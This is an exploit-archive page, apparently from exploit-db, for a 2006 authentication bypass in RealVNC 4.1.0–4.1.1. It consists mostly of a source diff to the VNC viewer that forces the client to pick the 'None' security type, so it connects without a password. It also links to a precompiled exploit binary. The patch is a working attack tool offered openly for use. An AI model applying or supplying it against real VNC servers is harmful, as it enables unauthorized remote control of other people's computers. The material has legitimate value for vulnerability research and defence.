RealVNC 4.1.0 - 4.1.1 (VNC Null Authentication) Auth Bypass Patch/EXE

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : RealVNC 4.1.0 - 4.1.1 (VNC Null Authentication) Auth Bypass Patch/EXE
# Published : 2006-05-16
# Author : redsand
# Previous Title : SpamAssassin spamd <= 3.1.3 Command Injection
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xx  vnc-4_1_1-unixsrc.bl4ck/common/rfb/CConnection.cxx
--- vnc-4_1_1-unixsrc/common/rfb/CConnection.cxx        2005-03-11 09:08:41.000000000 -0600
+++ vnc-4_1_1-unixsrc.bl4ck/common/rfb/CConnection.cxx  2006-05-15 14:03:30.000000000 -0500
@@ -183,7 +183,12 @@

     // Inform the server of our decision
     if (secType != secTypeInvalid) {
-      os->writeU8(secType);
+
+      // [BL4CK] In response to the VNC Null Authentication
+      // force a secType to equal secTypeNone
+      // http://blacksecurity.org
+      secType = secTypeNone;
+      os->writeU8(secTypeNone);
       os->flush();
       vlog.debug("Choosing security type %s(%d)",secTypeName(secType),secType);     }

Compiled: http://www.exploit-db.com/sploits/05162006-BL4CK-vncviewer-authbypass.rar